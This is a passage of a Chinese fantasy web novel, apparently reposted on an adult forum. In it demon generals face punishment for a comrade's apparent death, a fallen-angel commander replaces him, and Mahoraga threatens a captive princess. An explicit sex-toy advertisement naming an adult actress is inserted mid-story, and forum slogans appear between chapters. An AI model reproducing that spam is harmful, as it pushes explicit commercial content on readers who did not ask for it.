图片载入中

[玄幻]魔睺罗伽-16完

特大字】 【大字】 【中字】 【小字

[玄幻]魔睺罗伽(全)-16完

第三十二章

紧那罗脸色黯淡地站在修罗王面前,往日的吊儿郎当的神气已经荡然无存,他眼窝下深深的阴影让他看起来显得格外苍老,站在他身边的夜叉的脸色更是如同幽灵一般苍白,低着头沉默不语。由于伤势过重,他们已经昏迷好几天了,方才醒来就被叫到修罗王的宫殿中,他们的身体此刻仍旧十分虚弱,几乎都站不稳了。

修罗王脸色阴沈地坐在黄金扶手中,魔睺罗伽则站在他的身侧,修罗王金色璀璨的眼眸中光芒流转,从紧那罗的身上扫到夜叉身上,而两位魔帅则犹如感受到修罗王身上逼人的气焰一般,身体不由得有些紧绷。

“你们——把你们知道的所有事实都说出来了吗?”修罗王终于开口道。“回陛下,这就是我们知道的全部事实,”夜叉低声道,“当时,我们已经被那股剧烈爆炸的能量打成重伤,鸠般茶想用能量护住我们两个人,但是——”“这么说,你们确定鸠般茶是被那股爆炸的能量炸成了碎片?”修罗王冷冷地道。

“坦白说,臣——不确定,只是这样猜测。”夜叉低声回答,满头都是汗水。修罗王的眸子转向紧那罗的方向:“你说呢,紧那罗?”

紧那罗先是一愣,随即回过神来,道:“臣和夜叉的猜测一致。”

“这么说,你也觉得鸠般茶已经死了?”修罗王道。

“——是。”紧那罗低声道,不敢看修罗王的眼睛。

魔睺罗伽的身子微微一震,微乎其微得几乎不被察觉。修罗王的眼神不露痕迹地闪烁了一下。

“那你们知不知道,如果鸠般茶真的死了,你们会受到怎样的责罚?!”修罗王的声音突然变冷,如坠冰窖的寒意让两位魔帅的身子都勐地一震。“陛下!”两位魔帅立刻单膝跪下。

魔界的酷刑向来都是人人谈之色变的话题,“炼狱之殇”便是用来形容魔界酷刑的惨状,想到这一点,即便是见惯了大风大浪的两位魔帅也忍不住身体微微颤抖。

夜叉低着头看着地面,嘴里低声道:“陛下,鸠般茶的不幸身亡的确是我们俩的错,请陛下责罚!”

“臣心甘情愿领受责罚!”紧那罗脸色毫无血色,但还是强作镇定道。“那好!”修罗王勐地站起身来,眉宇间尽是怒气,“你们三个人自告奋勇去完成任务,结果现在鸠般茶生死未明,你们两个人是怎么办事的!”修罗王拧起眉心,脸色如覆冰霜般冷硬得吓人,他眯起金色的眸子,在两个人的身上扫来扫去,然后又开口道:“就因为你们两个人的过失,现在魔界白白损失一员大将,魔帅四面持衡的平静局面马上要被打破,你们说,现在该怎么办?!”

夜叉和紧那罗的身子勐地一震,随即头低得更低,嘴里一言不发。

“现在即便将你们两个人挫骨扬灰也无法弥补我魔界的损失,你们说,现在你们该怎么办?!”修罗王的语气愈发狂怒,逼人的气势震得宫殿都在摇晃。夜叉和紧那罗依旧一言不发,不知道如何回复殿上这暴怒的君王。

这时候,一直在修罗王身边一言不发的魔睺罗伽身子突然动了一下,然后她转过身看向修罗王,缓缓地跪下,低声道:“陛下,臣甘愿和紧那罗和夜叉领受同样的责罚!”

闻言,殿上的众人眼神一齐投向跪着说话的魔睺罗伽,修罗王的眉宇间的愁色更重了。

“魔睺罗伽,你……”

“陛下,这件事臣也富有重要责任,臣不该在关键时刻独自缺席,让三位魔帅只身前往诛神峰调查,才导致了今天的局面,还请陛下一并责罚!”“陛下,这不关魔睺罗伽的事情!”还没等修罗王开口,紧那罗就抢先叫道。“怎么?”修罗王扭过头去,看向紧那罗。

“这件事都是我和夜叉的错,魔睺罗伽既没参与其中,又何错之有?而且她的身子柔弱,禁不起魔界的酷刑,请陛下三思!”紧那罗低下头道。

“呵呵,这个时候你还记着怜香惜玉,很好,很好。”修罗王的唇边浮现出古怪的笑意,却令闻者不寒而粟。

“陛下,无论如何臣都负有不可推脱的责任。”魔睺罗伽低声道。

“魔睺罗伽,你真的这样觉得?”修罗王低声道。

魔睺罗伽的身子纹丝不动,证明了她心意已决:“——对!”

“那好吧,既然你这么坚持,那么你将和夜叉和紧那罗领受同样的责罚!”修罗王冷冷道。

“臣甘愿领受。”魔睺罗伽望着地面执着道。

“好吧,”修罗王长长唿出一口气,摆了摆手,“你们都起来吧。”

听到君王的命令,三个人的身子同时一震,不约而同地擡头看向修罗王。但是下一秒,三人都反应过来,立刻站起身来。

“你们三个的帐我先记下了。情况紧急,这笔账以后再算,眼前的事情还需要你们三个人帮忙处理,”修罗王语气不容置否地道,“现在鸠般茶失踪的消息已经传遍了魔界,加上先前的魔界异象,魔界的民众现在人人惶惶不安,人心不定,你们必须尽快安定目前的这种不稳定的情况,明白吗?”

“臣明白。”三人异口同声道。

“还有,虽然四大神将不见了,但是迦楼罗公主还在这里,你们务必派一个人专程看管着她,绝对不能让她也失踪了,明白了吗?”修罗王沈声道。“知道了。”

“除了这些,你们必须加派人手寻找四大神将,就算魔界的一草一木都翻遍了也要把他们找出来!我已经把整个魔界都封锁在了封闭的空间内,所以四大神将是无论如何也不可能跑掉的,而且就算他们想跑,也必须打破我布置的结界,这样,我们就能第一时间赶过去逮住他们!”

停了停,修罗王接着又道:“四大神将失踪的事情我已经专门派人去调查了,鸠般茶失踪的事情就需要你们去调查了,活要见人,死要见尸!我不相信鸠般茶会这样轻易地死掉!不过,现在鸠般茶生死未明,魔界的四根顶梁柱就坍塌了一根,这将引起魔界的动荡和空间的失衡,所以必须有人暂代鸠般茶的位置,撑起魔界的一角。”

“陛下,臣倒是有几个合适人选,”夜叉这时开口道,“殿下觉得阎罗将军如何?”

阎罗是魔界中着名的高手,地位仅次于魔界四大魔帅,他曾经率领魔界军队征战多次,立下过不少战功。这样看来,鸠般茶的位置由他暂代的确是最佳的选择。

谁知,修罗王却摆了摆手,唇边微微扯动,露出了一丝黑暗气息浓郁的浅笑:“这个就不用你们操心了,我已经有了合适的人选!”

一边说着,宫殿紧闭的大门突然自动打开了。

众人的注意力顿时全数集中到门口,只听见一阵富有节奏的脚步声,沈稳而笃定地向着这边靠近。来者究竟会是怎样的人呢?在众人屏气凝神的注视中,只见门外缓缓地走进了一个全身都被黑色的斗篷所包裹的人。

他慢慢地一路走来,全身散发的黑暗气息几乎都凝成了实体,随着他的走动,全身包裹的黑暗气息像水液一般在地上流动,又一圈一圈犹如烟雾般缭绕着,仿佛有生命力一般自动环绕着他的身形。

这位神秘人一步步走向修罗王,每多走一步身上的黑暗气息就愈发浓郁,几乎让整个宫殿的空气都污染成了浑浊的黑烟。然后,这个人在离修罗王的台阶前站定,然后缓缓下拜,随即一个沈稳而悦耳的声音从斗篷下传出。

“毗提河参见陛下。”神秘人如是说。

“看到了吗?这就是我的秘密武器。”修罗王的脸上出现了一丝得意之色,面对众人惊讶的眼神,他对毗提河道:“毗提河,摘下你的面罩。”

“是。”毗提河低低应了声,然后在众人的注目中缓缓地摘下了面罩,顿时,神秘人的真实面目终于出现在众人面前。

“这——”紧那罗瞪大了眼睛,目不转睛地看着毗提河。

这是一张俊美得令人窒息的面容,如果要用一种动物来形容他,那么他无疑是一匹优雅而完美的独角兽——一头暗黑色的独角兽。无论是超越了性别局限的俊秀五官,还是那双如同夜空般浩瀚而神秘的黑眸,他都堪称完美无瑕。尤其令人印象深刻的是他象牙色的脸庞和银白的头发,不但和他的黑眸形成颜色的巨大反差,而且仔细看,就会发现他的头发似乎会自动散发出莹白色的点点萤光,和他之前浑身散发的邪恶黑暗气息格格不入,也给人留下深刻印象。

总之,这匹暗黑的独角兽怎么看都是一头危险的野兽,尽管他优雅的外表很容易欺骗大众。

“容我为你们介绍,这位就是毗提河,即将代替鸠般茶之位的新魔帅,我也不瞒你们,他就是我一直秘密培养的堕落天使兵团的首领——弑月天使毗提河!”

修罗王的脸色露出了毫不掩饰的兴奋神色。

随着修罗王的话语,毗提河深吸一口气,身侧环绕的黑色气息突然暴涨,并迅速地积聚到背后,凝成两只暗黑的巨大翅膀。仿佛这一刻这只美丽的暗黑独角兽突然露出了嗜血的利齿,瞬间打破了人们对于他所有绮丽的幻想。

紧接着,黑色的羽翼收回,毗提河突然转过头,死死地盯住眼神闪闪发光的紧那罗,唇边露出了一抹无法言喻的诡笑。紧那罗瞬间不禁打了个寒战,突然才惊觉这头迷人的野兽的危险性,不由得暗暗警戒起来,但是眼神还是忍不住贪婪地环绕着他的身形,好色成性的特性暴露无遗,这厮真是“死到临头不自知”。但是,随即毗提河收回眼神,勐地看向另一边的魔睺罗伽,顿时那双暗不见底的黑眸里流露出了无法掩饰的惊艳光芒。然后,他完美的唇微微咧开,赞叹道:

“你真是难得一见的尤物,实在太美了。”

听到他的称赞,魔睺罗伽顿时警觉地擡起头来,戴着银色面具下的银眸中射出锋利的眼神,直直射向毗提河。毗提河却毫不示弱,继续用放肆的眼神打量着魔睺罗伽的周身,魔睺罗伽的身子一下子绷紧了,危险的气氛顿时蔓延开来。“你能看到魔睺罗伽的本来面目?”夜叉惊讶地问。

毗提河勐地转过头,眼神又扫向夜叉,眼神中的光芒突然变得更加兴致盎然,然后他的唇边露出一抹和他的无邪外表完全不相称的坏笑,道:“魔界中居然还有处子存在,尤其还是男人,真是难得一见啊。”

一番话立刻掀起了轩然大波,夜叉本来毫无生气的脸一下子涨红了,犀利的眼神冷冷地看向毗提河,黑眸相对,夜叉的黑暗气息一下子勐涨开来,像一只被踩到尾巴的猫一般竖起了浑身的绒毛。而紧那罗则是不敢置信地张大了嘴。“什么,夜叉你还是处男?不是吧?!”紧那罗原以为夜叉只是有些性冷淡,谁知他居然还是处男?这男人不会有什么隐疾吧?

“要你管!”夜叉瞪了紧那罗一眼,又转过眼神瞪着毗提河,毗提河却是不留痕迹地又转过眼神看向魔睺罗伽,用炽热的语气道:“真是难以想象,魔界中居然会有如此美丽的生物!不对,纵然在天界,也绝对难得一见如此美丽的人儿。

恐怕任何一个见过你的本来面目的人,想不动心都很难。”

面对毗提河近乎轻薄的言语,修罗王出乎意料的并没有制止,而魔睺罗伽却被激怒了,她感到莫名的恐慌,仿佛自己是赤身裸体地站在这个男人的面前,任何伪装都逃不过他的眼睛。

“你——你真能看见魔睺罗伽的本体?”毗提河的话引起了在场所有人的兴趣,所有人的目光都集中到魔睺罗伽的身上,好奇魔睺罗伽的本体是否果真如毗提河所描述的一般完美无瑕。

“对,”修罗王解释道,“毗提河拥有洞悉之眼,可以轻而易举看穿一切没有施加过法力的伪装,而且他拥有很敏锐的魔族感官,所以,夜叉你即便拥有黑暗气息作为掩饰,也无法逃脱他敏锐的感知力。”

“什么?他有透视的能力?”紧那罗毫不掩饰地露出了感兴趣的神色,当然大家都知道他在打什么主意。所以根本没人理会他,倒是魔睺罗伽一下子紧张起来,全身紧绷得更加不自然,然后她利落地施展了个法术将自己全身都包裹了起来。

“啊哈,这么怕自己的真实面目被人看到吗?真是可惜了你那张倾国倾城的脸蛋呢。”毗提河露出了促狭的笑容,全身的邪恶气息变得更加浓郁。“闭嘴!”

一声冷冷的呵斥,随即而来的就是一道银白色的闪电直直冲他脸侧划过,但是下一刻毗提河的身子向后一闪,瞬息之间就将魔睺罗伽凌厉的攻势挡在了身前。

速度之快令人难以根本难以捕捉。

只见魔睺罗伽手中嗜血的月蟒霞光鞭直直地从毗提河的脸侧掠过,却无法接触到他的皮肤,而令人惊讶的是毗提河用来抵御魔睺罗伽的攻势的居然是他夹在指缝间的一根黑色羽毛。下一刻,魔睺罗伽又闪电般地收回鞭子,冷冷地看着毗提河。天籁般的嗓音尽是冰冷的杀意:“倘若你敢将我的容貌对他人泄露半句,休怪我不客气!”

“哎呀,生气了呢。”毗提河根本不害怕魔睺罗伽的威胁,反而出言挑衅道。“好了好了,都别闹了。”眼见室内的气氛变得剑拔弩张,修罗王连忙出言调和,强大的气场不容置否,原先的紧张气氛顿时被冲散得烟消云散,所有人的眼神都变得严肃而认真。

“毗提河,你虽然暂代鸠般茶的位置,但是你未必有鸠般茶强大的控制力,这方面你还是稍有欠缺,缺乏历练。但是我还是希望你能认真对待,认真承担起责任来,明白了吗?”修罗王的声音虽然温和,但是逼人的威严却是让人不敢敷衍。

“属下明白。”毗提河轻声道,身侧环绕的黑暗气息慢慢地收回身体内,他又恢复了人畜无害的优雅,这只暗黑色的独角兽安静下来,丝毫不在乎周围的惊异眼神。

“那么,以后还请各位多多指教。”毗提河轻声道,并微微屈身向紧那罗他们以示敬意,态度和煦如同春风沐面,让几个人简直摸不着头脑。

但是魔睺罗伽不是那么好煳弄的,她犀利的眼神连面具都挡不住,如果眼神可以杀人,毗提河一定早就被万剑穿心了。

“好了,你们都下去吧。紧那罗,夜叉你们两个还有重伤,记住好好养伤,没有我的允许,你们谁也不准再给我出事!”修罗王厉声道。

“是。”四人恭敬地应允道。

***********************************迦楼罗这几天一直很疑惑,为什么好几天都看不见鸠般茶了?有几次她去问侍女,侍女们总是回答鸠般茶被修罗王派出去执行任务了,估计短时间内都不可能回来了。

但是,既见不到鸠般茶,连四大神将也看不到,不是太奇怪了吗?迦楼罗无聊地倚靠在窗户边,正呆呆地想着自己的心事,突然门被人一把推开,然后突然一大群侍女们鱼贯而入。

发生什么事了?迦楼罗紧张地从椅子上站起来,面对如此阵势感到莫名的浑身不自在。只见侍女们进门之后,都自动排在门的两侧,然后一个人从门里走了进来。

啊,是她!迦楼罗惊讶地看着那个全身包裹得严严实实仿佛雕像般的女人慢慢地走进门来,然后那张精致但面无表情的面具对上迦楼罗的脸,天籁般的嗓音从面具下传出:“公主,从今天开始,我将负责您的安全。”

“鸠般茶呢?”迦楼罗脱口而出,“他为什么不来?”

“他——”面前的女人迟疑了一秒,才接着道,“——他以后都不会再来了。他还有其他的工作要做。”

“你是什么意思?你是说鸠般茶以后再也不会来看我了?”迦楼罗着急地问。“对。”魔睺罗伽冷冷地道。

“不行,我要去找修罗王,我要见鸠般茶!”迦楼罗不管三七二十一,天界公主的娇蛮脾气又发作了,她作势要出门。

“等等!”魔睺罗伽厉声呵斥道,手臂一晃,银色的长鞭甩出,如同银白色的蟒蛇在地面上扭动。然后她对着面前这张酷似她的脸蛋道:“公主,别怪我没提醒过你,我来负责你的安全是修罗王交代的。同时他也交代过我绝对不能让你出门,如果你不听话——”

“啪!”鞭子轻轻一抖,地面上立时被抽出了道道裂痕,魔睺罗伽用令人心悸的悦耳嗓音道:“——那么,我恐怕只能说抱歉了。”

“什么?你们敢!”迦楼罗花容失色,喊道,“你们竟敢这样对待天界的贵客!”

“哼,公主如果不听我的好言相劝,那么我也就只能得罪了。”魔睺罗伽的声音冷冽而毫无感情。迦楼罗不由心底萌发出阵阵寒意。还在靠双手?怎么能够爽?论坛声誉保证销量第一太空杯!淫泷泽萝拉下体真实状态倒模而成高度仿真阴部外形,肤质柔软细腻!内置大颗粒突起,贴近女性生理构造,体验更真实感受…吞吐有致,不可抵挡!点击进入

这时,魔睺罗伽两边的侍女立刻围上来,凶神恶煞一般捉住了迦楼罗的两只胳膊,不顾她的奋力挣扎,将她牢牢地禁锢起来。

“放开我!快放了我!”迦楼罗尖叫着,“不然我一定会告诉父王,要他让你们这些人好看!我——我还要告诉鸠般茶,他一定不会放过你们的!”魔睺罗伽面具下的脸孔在不屑地冷笑,这不识时务的公主居然还天真地以为自己还是在天界?然而她居然敢提鸠般茶?魔睺罗伽被激怒了,但是她一声不吭地举起了鞭子。

“放了我!快放了我!”看到魔睺罗伽手里的鞭子慢慢地举起,迦楼罗忍不住害怕地尖叫,“不要!不要打我!啊——”

眼见得魔睺罗伽手里的鞭子朝着她的脸孔狠狠地抽了过来,迦楼罗全身颤抖着一边尖叫一边闭上了眼睛,耳边立时听见了一声清脆的碎裂声响。

奇怪?鞭子打到自己了都不会疼的?迦楼罗惊讶地睁开了眼睛,这才发现鞭子根本没抽到她,而是临时在空中换了个方向抽到了她脚底下的地板,地面上被硬生生抽出一道触目惊心的裂痕。

魔睺罗伽用力的一抖手臂,鞭子立刻弹回了她的手中,然后她注视着迦楼罗,口中一字一顿让人心底发寒的话语:“公主,这是我最后一次警告,如果你再不配合,下一次鞭子抽的就不是地板了。”

“你好自为之。”魔睺罗伽留下最后一句话,毫不留情地转身而去,只留给迦楼罗一个残酷的背影。

***********************************SIS网站是大家一起努力建立起来的,所以任何时候,我们都不能放弃SIS,

清除蛀虫,维护网站的安全更是每一个淫民都必须遵循的义务!我们的目标是——没有蛀虫!

**********************************************************************能回来是一件不容易的事,这次我会更加珍惜和大家一起相处的日子。祝大家萝莉节快乐!

***********************************第三十三章

魔睺罗伽低着头缓缓地在修罗宫长长的走廊上踱着步,已经是深夜的时间,夜风冰冷彻骨,一缕缕撩起她长长的银发。这个夜,好像显得格外的孤寂寒冷。她静默着,只顾沈寂在自己一个人的世界里,迎面走来的成群宫女见到她都恭敬地行礼下拜,但是她却像完全没有注意到似的,只顾一个人默默地想着心事。

鸠般茶……

她默念着这个教她心痛又孤单的名字,想得越多心口的疼痛越是明显,但是偏偏她就是不能说服自己不去想,不心痛。上天真是给他们开了好大的玩笑,她前一秒钟还因为那个男人的伤害耿耿于怀,下一刻那个男人就猝不及防地消失了,

不给她任何准备时间,让她连恨他的机会都没有了。

难道——这就是上天对她的惩罚吗?

她擡起头无言地看向天空,天空中那轮银白色的皓月还散发着柔和的光辉,像是天空睁开的一只银瞳。

母亲,如果你看到现在的我,你会后悔那么早就离我而去吗?你会后悔让我出现在这个世界吗?

说到这里,她忍不住迟疑地擡起自己的右手,然后缓缓地捂向自己的小腹。她的孩子……他的孩子……

这才是上天开的最大玩笑。如果她生下这个孩子,那么孩子岂不是一开始就要接受没有父亲的命运?但是,如果让她亲手扼杀自己的孩子,她又怎么忍心……而且,这还是他留给她最后的纪念,是他们共同的孩子啊……

为什么?鸠般茶你要这样一声不吭地离开?难道我和你注定不可能在一起?魔睺罗伽黯然地咬着唇,她从来没有像现在这般痛恨自己的软弱,曾经的她可以古井无波,面对尸陈遍野的血腥场面她也能做到面不改色,可是现在的她,已经越来越不像她了……

也许舅舅说的对,她当初的确应该捍卫自己的幸福,但是如果她当初真的这样做了,他们是否就真的会有不一样的结局?

这个问题谁又真的能知道呢?

她幽幽地叹了口气,擡头才发现自己已经不知不觉地走回了自己的宫殿前,更让她奇怪的是,一个黑衣人正站在她的宫殿前。

魔睺罗伽当下忍不住皱起了眉头,因为她已经认出这是那个惹人厌恶的家伙——毗提河!他站在她的宫殿前想干什么?

于是,她像什么都没看到似的,直接把对方当成空气,直直地从他的面前走了过去。

“等等。”毗提河突然开口,但是魔睺罗伽只是迟疑了一秒,便继续向前走,完全不理会对方。

“你一直都是这么对待男人的吗?”毗提河却并不懊恼,而是淡淡地开口道。魔睺罗伽停住了脚步。然后她勐地回身,二话不说,一道银色的光芒直接朝对方甩了过去。

“你想干什么?”电光火石之间,毗提河已经闪电般地出手,一把抓住了魔睺罗伽手中的鞭子。

魔睺罗伽不屑地勾了勾唇,那根被毗提河抓在手里的鞭子突然像有了生命力一般,幻化成一条剧毒的银蟒,直接在空中绕了个弯,然后一口咬上毗提河的手背。

“这是什么鬼东西?!”毗提河立刻像接到烫手山芋般赶紧放开了魔睺罗伽的月蟒霞光鞭,魔睺罗伽趁机用力一甩,坚韧如铁的鞭尾扫上了毗提河的脸,毗提河赶紧闪躲,但是鞭尾还是扫到了他的脸颊,将他完美的脸颊划出了一道触目惊心的血痕。

魔睺罗伽面具下的脸冷冷一笑,用力一扬手腕,鞭子又自动弹回到了她的袖子里。

“敢徒手抓我的月蟒霞光鞭,你真是活腻了!”面具下天籁般的嗓音尽是冰冷的嘲弄之意。

“呵呵,”毗提河不怒反笑,他朝自己的脸上一抹,看到指尖上沾的漆黑如墨的血液,他冷冷一笑,“你就是这么对待你的战友的?”

“战友?”这个词听起来真是有够滑稽,她冷冷地道,“就你也配当我的战友?你根本就不够资格!”

“是,”毗提河自嘲道,“我怎么敢和魔睺罗伽大人相提并论呢?但是,不要忘了。现在我可是暂时代替鸠般茶大人的位置呢。”

“你?”天籁般的嗓音里讽意更浓,“你根本代替不了鸠般茶!”

“是吗?”毗提河弯起完美的唇角,那笑容变得又诱惑又古怪,“但是,谁说我不能呢?至少有一点我还是能做到的,那就是——我也是男人。”“你——你什么意思?”魔睺罗伽莫名地慌乱了心神。毗提河分明话中有话,难道他知道些什么?

“你说呢?”毗提河微笑着,懒洋洋地伸手往脸上的伤口一擦,顿时那道血痕就在她的注目中迅速地愈合,消失得无影无踪。

“说!”魔睺罗伽的鞭子猝不及防地又朝毗提河甩了过去,但这一次却被对方巧妙地避开了。

“你一向都是这么蛮不讲理吗?”毗提河邪邪地笑道,然后他的手指张开,凌厉地勾出一个手势,顿时,几根黑色羽毛朝着魔睺罗伽射了过来,魔睺罗伽轻描淡写地伸出裹着白色手套的纤细手指,优雅地一挥,于是那几根羽毛还没碰到她就直接掉到了地上,并迅速化成烟雾消失得无影无踪。

“你如果知道什么,劝你最好别乱说,否则——”

“否则就怎样?”毗提河还不怕死地想故意激怒魔睺罗伽。

但是,出乎意料的是,魔睺罗伽却突然平静了下来,但是她的语气里满是冰意:“我已经提醒过你了,你要是对外人说了你不该说的。我保证你一定会尝尽万蛇嗜心之痛而死!”

“好吧,我可以不说,”毗提河的反应也出人意料,他居然很爽快地答应了,“不过,我有一个条件。”

“你不配和我谈条件!”魔睺罗伽冷冷地道。

“好吧,”毗提河摆摆手,示意魔睺罗伽稍安勿躁,“我有一个请求。”“什么请求?”

“那就是——让我看看你真正的容貌。”毗提河开口道。

“你不是早就看到了吗?”魔睺罗伽冷冷道,“你不是有洞悉之眼吗?”“是啊,我是有洞悉之眼,可惜这东西用起来就像雾里开花,朦朦胧胧的,要是能看到你的真实面目就好了!”毗提河邪邪地弯起嘴角,“如此佳人,藏在面具里真是暴敛天物了!”

“闭嘴!”魔睺罗伽并不高兴听到这种赞美,她的语气更加冷漠,“毗提河,不要告诉我你站在这里就是为了和我说这些无聊的事!”

“呵呵,的确不是,”毗提河的眼神稍稍严肃了一些,这头暗黑色的独角兽又恢复到原本的优雅,“我今天来的目的是和你谈谈四大神将消失的事情。”“怎么?你有线索了?”魔睺罗伽挑起眉看着他。

“还没有,”他摇了摇头,“但是我有把握找到他们。”

“你有什么办法?”魔睺罗伽盯着他。

“你别忘了,我有洞悉之眼,任何伪装都逃不过我的眼睛。”毗提河微笑的嘴唇看起来华丽又完美。

“不是说你只能看穿没有魔法的伪装吗?”

“对,这话是没错。但凡是我不能看穿的东西,不就说明对方使用了伪装了吗?而且陛下还漏了一点,只有法力高于我的人使用的伪装我才无法看穿。”“你的意思是——”魔睺罗伽心中一动,“你只要看到你无法看穿的东西,就说明对方的法力比你高而且使用了魔力屏蔽?”

“对。”毗提河毫不谦虚地露出了得意的微笑。

“我懂了,难怪陛下要举荐你作为鸠般茶的候补。”魔睺罗伽的语气稍稍缓和了一些,但是随即她又问道:“但是,我们应该从哪些方向找起?”“就去诛神峰!”毗提河毫不犹豫地道。

“——诛神峰?”提到这个名字,魔睺罗伽忍不住又心神恍惚,想起那天的情景,胸口猝不及防的剧痛让她忍不住低低地呻吟了一声。

“——对,就是诛神峰。我已经问过紧那罗和夜叉了,他们当时去诛神峰的时候,就发现有人故意用法力破坏了诛神峰周围稳定的结界,逼出了蛰伏千年的火山魔兽,以此让魔界大乱。——就这种行为而言,十有八九是天界的人所为,极有可能是四大神将逃跑后为了争取时间才故意所为。”

“你的话很有道理,”魔睺罗伽迟疑了一下,又道,“这样吧,明天我会把你的话禀告给陛下——相信你也许会有收获的。”

“不用了,我已经告知陛下了,陛下也同意了。”他的语气里似乎有意犹未尽的意义。

“那你来找我干什么?”魔睺罗伽奇怪地问。

“我已经向陛下禀明,我要求和你一块去调查。”毗提河终于说出真实目的,他的唇微微上扬,奸诈而邪佞。

“哦?”魔睺罗伽并没有太大反应,却还是忍不住皱了皱眉头。和毗提河一起?天,这该是怎样讨厌的场景?

“还有个更好的消息是——由于陛下怕这件事知道的人太多会走漏风声,所以这次只有我们两个人行动。”毗提河的微笑越发神秘莫测充满意味。“是么?”魔睺罗伽心里很是不满,但是也没法表现出来。两个人又怎么了?难道她还怕了毗提河不成?

“好了,我们进去详谈吧。”毗提河道。

魔睺罗伽没有理由拒绝,于是只能无言地转身,向着自己的寝宫走去。毗提河笑笑,也尾随着魔睺罗伽走进她的宫殿内。

看到主人回宫,魔睺罗伽的侍女们连忙都出来迎接,待看到魔睺罗伽身后惊为天人的俊美男子,很多侍女的眼睛都变直了。

“各位姐姐好,我是暂代鸠般茶之位的新魔帅——毗提河。”毗提河人畜无害地微笑着,完美地伪装起自己的黑暗气质,露出纯洁而优雅的一面。“奴婢参见毗提河殿下。”侍女们都脸红心跳地恭敬下拜。

“我和毗提河有些事情要商议,不得让闲杂人等随便来打扰,明白了吗?”魔睺罗伽头也不回地向着自己的寝宫走去,天籁般动听但不带任何感情的嗓音从面具下透出。

“大人,奴婢知道了。”侍女们目送着浑身带着黑暗气息但气质干净纯洁的俊美男子走进主人的寝宫,不由得有些奇怪。

主人今天怎么会让一个陌生人随便进入她的寝宫?

魔睺罗伽坐到自己常坐的软椅上,优雅地翘起长腿,淡淡地道:“说吧,你的计划是什么?”

毗提河脸上依旧挂着三分邪气七分优雅的微笑,抱拳道:“大人希望我怎么做?”

“我还以为你已经计划好了。”魔睺罗伽仰起脸,冷冷道。

“有你在,我还怕什么?”毗提河邪笑道。

“我可不想陪着一个疯子浪费时间。”魔睺罗伽的语气越发冷漠,危险的气氛开始凝重起来。

“放心,我已经胸有成竹了。开个玩笑而已,有必要这么严肃吗?”毗提河不怕死地道,“难道你面对鸠般茶也是这副表情?”

“啪!”魔睺罗伽的手勐地一拍身边的茶几,咔嚓一下,木制茶几立即四分五裂。

“如果你不想死的话,”魔睺罗伽一字一句语气冰寒刺骨,“你最好不要再在我面前提他的名字!更不要开这种玩笑!”

“好,好,我不提就是,”毗提河知道自己碰到魔睺罗伽的逆鳞了,马上转移话题道,“我的想法是,我们明天从诛神峰开始侦查,搜索方圆五百里以内的地域。由于诛神峰附近区域复杂,人烟稀少,所以我怀疑四大神将极有可能藏在某个荒芜人际的地方养伤,要么是山洞要么就是很不起眼的房屋。只要我们地毯式搜索,一定会找到某些线索!”

“是吗?你确定这有用?”魔睺罗伽道。

“这是最简单但是也是最可行的方法。”毗提河肯定道。

“但愿如此。那我们什么时候行动?”

“明天正午时分。天界的人靠吸收天阳之力修炼,在魔界只有正午的时候,魔界和天界这两个迥然不同的空间距离最接近,魔界里的天阳之灵在这个时候是最充裕的。而且,我很怀疑他们极有可能还准备利用诛神峰内部岩浆活动产生的巨大能量来练功养伤。”毗提河道。

“听起来还是挺合理的,”魔睺罗伽道,“你确定我们两个就够了?”“当然不够,不过也不需要紧那罗和夜叉出动,只要带上我的手下十二堕落天使兵团即可。”

“堕落天使兵团?”魔睺罗伽奇怪道。

“怎么?”毗提河扬起一边优雅的俊眉,微笑道,“殿下千万别告诉我你还是第一次听说。陛下培养堕落天使兵团的事情早就走漏了风声,魔界的小道消息还是流传得很广泛的。”

“我对小道消息没有兴趣。”魔睺罗伽淡淡道。

“那好吧,殿下总该记得我们第一次见面的场景吧?”毗提河道。

“我们见过吗?”魔睺罗伽越发疑惑。

“殿下真是贵人多忘事,难道你不记得七十年前的神魔之战?我还和殿下交过手呢。”毗提河的笑容越发让人琢磨不透,深邃的黑眸中不知为何突然绽放出犀利的光芒!

“我真的不记得了,时间太长了。这么说,你曾经是天界的人?”

“你说呢?我曾经是天界天使一族出类拔萃的人才,那次被派去出征,担任三大领队将领之一。”

魔睺罗伽侧着头想了想,还是毫无印象,于是只得道:“我不记得了。”“我这种无名小卒何须大人记挂,但是我可是一直对你印象深刻呢!”“是吗?”魔睺罗伽冷冷地笑了声。

“当然,因为我之所以来到魔界,变成陛下身边的堕落天使队长,还是多亏了大人呢!”毗提河说到这几句,身侧环绕的黑暗气息越发浓郁,邪恶的能量波动让魔睺罗伽都忍不住暗暗警觉起来。

但是,很快,那股汹涌的黑暗力量又慢慢平息下去,毗提河俊美耀眼的面孔露出了几分狠辣,这头暗黑的独角兽又再一次露出了嗜血的嘴牙:“因为我和殿下的交战输得一败涂地,让我在族人面前丢尽了脸面,在天使族的地位也一落千丈。哼,那些无名小卒也敢藐视我?所以,我自愿投奔魔族,我要用天使族最鄙视的黑暗力量慢慢折磨那群乌合之众!”

“你是怎么来魔族的?”魔睺罗伽皱起眉头,难道现在魔界的结界出现了缺口?

“这都要多亏了杜尔迦小姐。她可真是个可人的女子呢,在床上也是彻头彻底的尤物呢。”说到杜尔迦,毗提河的嘴角微微上翘,笑容里满是轻佻和玩世不恭。魔睺罗伽不动声色地皱了皱眉,对毗提河的好感又降低了一层。

“杜尔迦?”魔睺罗伽讨厌这个女人,尤其是听说她和鸠般茶有一些不为人知的关系,这让她更加讨厌她。

“对,听说她还曾经是鸠般茶的入幕之宾呢。”毗提河嘴角弯起的弧度邪恶无比。

“够了,我都说了不要再提他的名字!”魔睺罗伽恼了,浑身逼人的气势暴涨,像刺猬般近身不得。

毗提河胆大包天,还想试着触碰魔睺罗伽的痛处:“大人很爱鸠般茶,是吧?”“我不爱他!”魔睺罗伽条件反射地叫出声来,气得浑身发抖。没来由地心中狠狠一痛。

毗提河不再开口,不动声色地观察着魔睺罗伽的反应。魔睺罗伽深吸一口气,意识到自己太激动了,便努力平复自己的情绪。然后她透过面具冷冷注视着毗提河,道:“我和他的事你是从哪听说的?”

“魔界早就有闲言闲语了,听说鸠般茶还在人前公然宣称你是他的女人,不是吗?”毗提河道。

“好吧,这件事到此为止,我和他的事不用你管!”魔睺罗伽厉声道,“就算我和鸠般茶真的有过什么了,现在也都不存在了。所以——你最好管好自己的舌头!”

“好吧,”毗提河耸耸肩,“说实话,我觉得以大人的倾城容貌,鸠般茶根本配不上大人。”

“你知道什么?!”魔睺罗伽不悦地怒斥道。

